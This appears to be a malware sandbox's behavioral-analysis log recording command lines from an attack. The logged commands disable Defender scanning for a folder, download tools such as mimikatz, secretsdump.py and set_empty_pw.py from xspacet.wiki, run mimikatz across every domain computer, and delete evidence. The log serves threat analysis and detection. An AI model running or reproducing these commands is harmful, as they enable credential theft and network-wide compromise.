Behavioral Analysis

cmd.exe cmd /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\WinXRAR\"

cmd.exe cmd /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/Dpose.exe -Outfile C:\WinXRAR\Dpose.exe

cmd.exe cmd /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/Bootxr.exe -Outfile C:\WinXRAR\Bootxr.exe

cmd.exe cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\test22\AppData\Local\Temp\mimikatz.exe"

python.exe python --version

powershell.exe powershell -Command " $computers = Get-ADComputer -Filter * | Select-Object -ExpandProperty Name Invoke-Command -ComputerName $computers -ScriptBlock { cmd /c 'if not exist C:\WinXRAR mkdir C:\WinXRAR && powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/mimikatz.exe -Outfile C:\WinXRAR\mimikatz.exe && C:\WinXRAR\mimikatz.exe' } "

cmd.exe cmd /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/wmiexec.py -Outfile C:\WinXRAR\wmiexec.py

cmd.exe cmd /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/Mizedo.exe -Outfile C:\WinXRAR\Mizedo.exe

cmd.exe cmd /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/set_empty_pw.py -Outfile C:\WinXRAR\set_empty_pw.py

cmd.exe cmd /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/secretsdump.py -Outfile C:\WinXRAR\secretsdump.py